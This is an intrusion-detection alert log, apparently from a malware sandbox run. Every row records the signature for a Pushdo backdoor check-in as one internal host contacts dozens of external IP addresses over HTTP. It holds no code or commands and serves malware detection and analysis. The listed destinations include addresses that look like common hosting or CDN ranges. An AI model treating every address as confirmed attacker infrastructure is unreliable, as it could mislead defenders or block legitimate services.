2024-10-25T11:18:36.462666+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53168	192.124.249.20	80	TCP
2024-10-25T11:18:36.467408+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53172	70.39.251.249	80	TCP
2024-10-25T11:18:36.485315+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53165	142.250.186.147	80	TCP
2024-10-25T11:18:36.522815+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53173	118.27.125.181	80	TCP
2024-10-25T11:18:36.544766+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53170	59.106.19.204	80	TCP
2024-10-25T11:18:36.587573+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:36.669859+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53164	170.82.174.30	80	TCP
2024-10-25T11:18:36.946561+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53179	54.161.222.85	80	TCP
2024-10-25T11:18:36.946598+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53174	80.93.82.33	80	TCP
2024-10-25T11:18:36.946694+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53178	89.161.163.246	80	TCP
2024-10-25T11:18:36.947324+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:36.947648+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53134	64.125.133.18	80	TCP
2024-10-25T11:18:36.963678+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53183	188.114.97.3	80	TCP
2024-10-25T11:18:36.966267+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53181	62.122.190.121	80	TCP
2024-10-25T11:18:36.984643+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53182	3.19.116.195	80	TCP
2024-10-25T11:18:37.071099+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53164	170.82.174.30	80	TCP
2024-10-25T11:18:37.098444+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53183	188.114.97.3	80	TCP
2024-10-25T11:18:37.110200+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53185	34.149.87.45	80	TCP
2024-10-25T11:18:37.141448+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53186	192.252.154.18	80	TCP
2024-10-25T11:18:37.169415+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53184	139.59.171.124	80	TCP
2024-10-25T11:18:37.177877+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53190	104.26.7.221	80	TCP
2024-10-25T11:18:37.190543+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:37.249474+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53181	62.122.190.121	80	TCP
2024-10-25T11:18:37.270114+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53187	13.248.252.114	80	TCP
2024-10-25T11:18:37.418593+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53184	139.59.171.124	80	TCP
2024-10-25T11:18:37.439378+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:37.455492+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53180	104.26.15.53	80	TCP
2024-10-25T11:18:37.543047+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53189	142.250.186.147	80	TCP
2024-10-25T11:18:37.564461+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53191	104.21.88.198	80	TCP
2024-10-25T11:18:37.619348+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53192	54.161.222.85	80	TCP
2024-10-25T11:18:37.622462+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53195	185.15.129.58	80	TCP
2024-10-25T11:18:37.730120+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53188	170.82.174.30	80	TCP
2024-10-25T11:18:37.730120+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53191	104.21.88.198	80	TCP
2024-10-25T11:18:37.754243+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53194	188.114.96.3	80	TCP
2024-10-25T11:18:37.772713+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53197	141.193.213.11	80	TCP
2024-10-25T11:18:37.848104+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53193	60.43.154.138	80	TCP
2024-10-25T11:18:37.884042+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53199	54.161.222.85	80	TCP
2024-10-25T11:18:37.918793+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53204	192.124.249.10	80	TCP
2024-10-25T11:18:37.930228+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53197	141.193.213.11	80	TCP
2024-10-25T11:18:37.962028+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53198	34.218.204.173	80	TCP
2024-10-25T11:18:37.972370+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53196	89.161.163.246	80	TCP
2024-10-25T11:18:37.976160+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53194	188.114.96.3	80	TCP
2024-10-25T11:18:38.044909+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53201	62.122.190.121	80	TCP
2024-10-25T11:18:38.066439+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53204	192.124.249.10	80	TCP
2024-10-25T11:18:38.092421+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53205	188.114.97.3	80	TCP
2024-10-25T11:18:38.116378+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53202	80.74.154.6	80	TCP
2024-10-25T11:18:38.120065+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53193	60.43.154.138	80	TCP
2024-10-25T11:18:38.229374+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53207	172.67.173.200	80	TCP
2024-10-25T11:18:38.244813+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53205	188.114.97.3	80	TCP
2024-10-25T11:18:38.301613+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53188	170.82.174.30	80	TCP
2024-10-25T11:18:38.326211+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53201	62.122.190.121	80	TCP
2024-10-25T11:18:38.346695+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53206	13.248.252.114	80	TCP
2024-10-25T11:18:38.359814+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53207	172.67.173.200	80	TCP
2024-10-25T11:18:38.371827+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53202	80.74.154.6	80	TCP
2024-10-25T11:18:38.436993+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53211	198.185.159.144	80	TCP
2024-10-25T11:18:38.471327+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53208	139.59.171.124	80	TCP
2024-10-25T11:18:38.495978+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53210	192.252.154.18	80	TCP
2024-10-25T11:18:38.544331+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53209	185.80.51.179	80	TCP
2024-10-25T11:18:38.600277+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53213	54.161.222.85	80	TCP
2024-10-25T11:18:38.681083+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53203	104.26.15.53	80	TCP
2024-10-25T11:18:38.734885+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53208	139.59.171.124	80	TCP
2024-10-25T11:18:38.810720+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53209	185.80.51.179	80	TCP
2024-10-25T11:18:38.825495+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53212	81.2.194.241	80	TCP
2024-10-25T11:18:38.829604+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53215	135.181.73.98	80	TCP
2024-10-25T11:18:38.912816+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53217	188.165.133.163	80	TCP
2024-10-25T11:18:38.921353+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53216	60.43.154.138	80	TCP
2024-10-25T11:18:39.060306+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53223	141.193.213.11	80	TCP
2024-10-25T11:18:39.069707+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53225	192.124.249.10	80	TCP
2024-10-25T11:18:39.076267+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53226	188.114.96.3	80	TCP
2024-10-25T11:18:39.086958+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53215	135.181.73.98	80	TCP
2024-10-25T11:18:39.092116+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53221	69.163.239.62	80	TCP
2024-10-25T11:18:39.093495+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53212	81.2.194.241	80	TCP
2024-10-25T11:18:39.147577+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53220	34.218.204.173	80	TCP
2024-10-25T11:18:39.158469+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53217	188.165.133.163	80	TCP
2024-10-25T11:18:39.196548+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53219	116.211.150.37	80	TCP
2024-10-25T11:18:39.226000+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53226	188.114.96.3	80	TCP
2024-10-25T11:18:39.232440+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53216	60.43.154.138	80	TCP
2024-10-25T11:18:39.253433+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53223	141.193.213.11	80	TCP
2024-10-25T11:18:39.261907+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53222	202.254.236.40	80	TCP
2024-10-25T11:18:39.276972+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53221	69.163.239.62	80	TCP
2024-10-25T11:18:39.288018+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53225	192.124.249.10	80	TCP
2024-10-25T11:18:39.307526+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53224	80.74.154.6	80	TCP
2024-10-25T11:18:39.384692+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53218	104.218.10.254	80	TCP
2024-10-25T11:18:39.513669+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53230	172.67.173.200	80	TCP
2024-10-25T11:18:39.546984+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53222	202.254.236.40	80	TCP
2024-10-25T11:18:39.633916+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53224	80.74.154.6	80	TCP
2024-10-25T11:18:39.646212+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53228	185.80.51.179	80	TCP
2024-10-25T11:18:39.675143+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53230	172.67.173.200	80	TCP
2024-10-25T11:18:39.695197+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53229	46.242.238.60	80	TCP
2024-10-25T11:18:39.790625+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53233	198.185.159.144	80	TCP
2024-10-25T11:18:39.834912+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53231	3.94.41.167	80	TCP
2024-10-25T11:18:39.948180+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53228	185.80.51.179	80	TCP
2024-10-25T11:18:39.962192+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53237	188.114.96.3	80	TCP
2024-10-25T11:18:39.995848+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53235	104.26.3.124	80	TCP
2024-10-25T11:18:40.053946+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53234	108.167.164.216	80	TCP
2024-10-25T11:18:40.113358+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53232	104.21.66.46	80	TCP
2024-10-25T11:18:40.117868+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53236	135.181.73.98	80	TCP
2024-10-25T11:18:40.155462+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53238	5.189.128.121	80	TCP
2024-10-25T11:18:40.158439+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53237	188.114.96.3	80	TCP
2024-10-25T11:18:40.199354+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53235	104.26.3.124	80	TCP
2024-10-25T11:18:40.216675+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53242	96.127.180.42	80	TCP
2024-10-25T11:18:40.275677+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53241	188.165.133.163	80	TCP
2024-10-25T11:18:40.282151+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53240	81.2.194.241	80	TCP
2024-10-25T11:18:40.364196+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53242	96.127.180.42	80	TCP
2024-10-25T11:18:40.398433+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53236	135.181.73.98	80	TCP
2024-10-25T11:18:40.406480+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53238	5.189.128.121	80	TCP
2024-10-25T11:18:40.419686+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53243	51.79.51.72	80	TCP
2024-10-25T11:18:40.475211+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53245	69.163.239.62	80	TCP
2024-10-25T11:18:40.503440+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53248	188.114.96.3	80	TCP
2024-10-25T11:18:40.545561+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53247	3.94.41.167	80	TCP
2024-10-25T11:18:40.545604+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53241	188.165.133.163	80	TCP
2024-10-25T11:18:40.569127+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53240	81.2.194.241	80	TCP
2024-10-25T11:18:40.600241+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53244	202.254.236.40	80	TCP
2024-10-25T11:18:40.673132+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53248	188.114.96.3	80	TCP
2024-10-25T11:18:40.674507+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53245	69.163.239.62	80	TCP
2024-10-25T11:18:40.770517+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53246	157.112.176.4	80	TCP
2024-10-25T11:18:40.881397+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53244	202.254.236.40	80	TCP
2024-10-25T11:18:40.891683+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53249	46.242.238.60	80	TCP
2024-10-25T11:18:41.068237+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53252	69.163.182.181	80	TCP
2024-10-25T11:18:41.083895+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53250	23.227.38.74	80	TCP
2024-10-25T11:18:41.095183+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53254	3.94.41.167	80	TCP
2024-10-25T11:18:41.123144+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53252	69.163.182.181	80	TCP
2024-10-25T11:18:41.134860+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53255	3.94.41.167	80	TCP
2024-10-25T11:18:41.148650+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53253	104.196.26.65	80	TCP
2024-10-25T11:18:41.175013+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53256	75.119.202.130	80	TCP
2024-10-25T11:18:41.229138+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53256	75.119.202.130	80	TCP
2024-10-25T11:18:41.250375+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53257	104.26.3.124	80	TCP
2024-10-25T11:18:41.337316+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53253	104.196.26.65	80	TCP
2024-10-25T11:18:41.452755+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53257	104.26.3.124	80	TCP
2024-10-25T11:18:41.463059+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53260	108.167.164.216	80	TCP
2024-10-25T11:18:41.496408+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53262	188.114.96.3	80	TCP
2024-10-25T11:18:41.506252+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53259	217.19.237.54	80	TCP
2024-10-25T11:18:41.524116+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53264	173.254.28.29	80	TCP
2024-10-25T11:18:41.624751+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53261	104.21.66.46	80	TCP
2024-10-25T11:18:41.645883+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53266	96.127.180.42	80	TCP
2024-10-25T11:18:41.691759+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53262	188.114.96.3	80	TCP
2024-10-25T11:18:41.702025+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53265	51.79.51.72	80	TCP
2024-10-25T11:18:41.710158+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53264	173.254.28.29	80	TCP
2024-10-25T11:18:41.711116+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53263	5.189.128.121	80	TCP
2024-10-25T11:18:41.815461+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53266	96.127.180.42	80	TCP
2024-10-25T11:18:41.837652+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53267	69.163.182.181	80	TCP
2024-10-25T11:18:41.841105+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53268	3.94.41.167	80	TCP
2024-10-25T11:18:41.869389+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53269	3.94.41.167	80	TCP
2024-10-25T11:18:41.935725+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53270	75.119.202.130	80	TCP
2024-10-25T11:18:42.014259+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53263	5.189.128.121	80	TCP
2024-10-25T11:18:42.189938+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:42.221800+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53273	13.248.169.48	80	TCP
2024-10-25T11:18:42.404325+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53272	217.79.184.35	80	TCP
2024-10-25T11:18:42.430805+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53276	3.94.41.167	80	TCP
2024-10-25T11:18:42.436079+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:42.462266+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53275	195.78.66.65	80	TCP
2024-10-25T11:18:42.465354+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53278	188.114.97.3	80	TCP
2024-10-25T11:18:42.477932+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53274	183.90.183.73	80	TCP
2024-10-25T11:18:42.597785+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53281	69.163.182.181	80	TCP
2024-10-25T11:18:42.637096+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53282	147.154.0.23	80	TCP
2024-10-25T11:18:42.652405+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53258	213.165.251.217	80	TCP
2024-10-25T11:18:42.652406+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53281	69.163.182.181	80	TCP
2024-10-25T11:18:42.669484+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53277	23.227.38.74	80	TCP
2024-10-25T11:18:42.682559+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:42.734248+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53279	157.112.182.239	80	TCP
2024-10-25T11:18:42.769290+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53285	75.119.202.130	80	TCP
2024-10-25T11:18:42.774821+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53280	144.76.24.9	80	TCP
2024-10-25T11:18:42.826608+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53283	217.19.237.54	80	TCP
2024-10-25T11:18:42.832664+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53285	75.119.202.130	80	TCP
2024-10-25T11:18:42.833442+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53287	104.196.26.65	80	TCP
2024-10-25T11:18:42.931799+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:43.053710+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53287	104.196.26.65	80	TCP
2024-10-25T11:18:43.064924+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53288	188.166.152.188	80	TCP
2024-10-25T11:18:43.104245+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53150	137.118.26.67	80	TCP
2024-10-25T11:18:43.157676+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53289	165.22.45.169	80	TCP
2024-10-25T11:18:43.166074+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53291	3.94.41.167	80	TCP
2024-10-25T11:18:43.177974+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:43.323701+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53289	165.22.45.169	80	TCP
2024-10-25T11:18:43.369192+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53292	69.163.182.181	80	TCP
2024-10-25T11:18:43.374050+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53290	85.131.197.10	80	TCP
2024-10-25T11:18:43.552805+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53295	75.119.202.130	80	TCP
2024-10-25T11:18:43.593859+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53296	13.248.169.48	80	TCP
2024-10-25T11:18:43.622355+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53294	217.79.184.35	80	TCP
2024-10-25T11:18:43.640728+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53290	85.131.197.10	80	TCP
2024-10-25T11:18:43.698420+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53302	104.21.23.9	80	TCP
2024-10-25T11:18:43.751718+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53305	70.39.251.249	80	TCP
2024-10-25T11:18:43.760824+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53303	192.124.249.20	80	TCP
2024-10-25T11:18:43.770677+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53299	13.248.252.114	80	TCP
2024-10-25T11:18:43.817348+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:43.847435+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53302	104.21.23.9	80	TCP
2024-10-25T11:18:43.923048+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53309	80.93.82.33	80	TCP
2024-10-25T11:18:43.931616+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53310	34.218.204.173	80	TCP
2024-10-25T11:18:43.952212+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53304	23.227.38.74	80	TCP
2024-10-25T11:18:43.960407+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53311	18.245.31.21	80	TCP
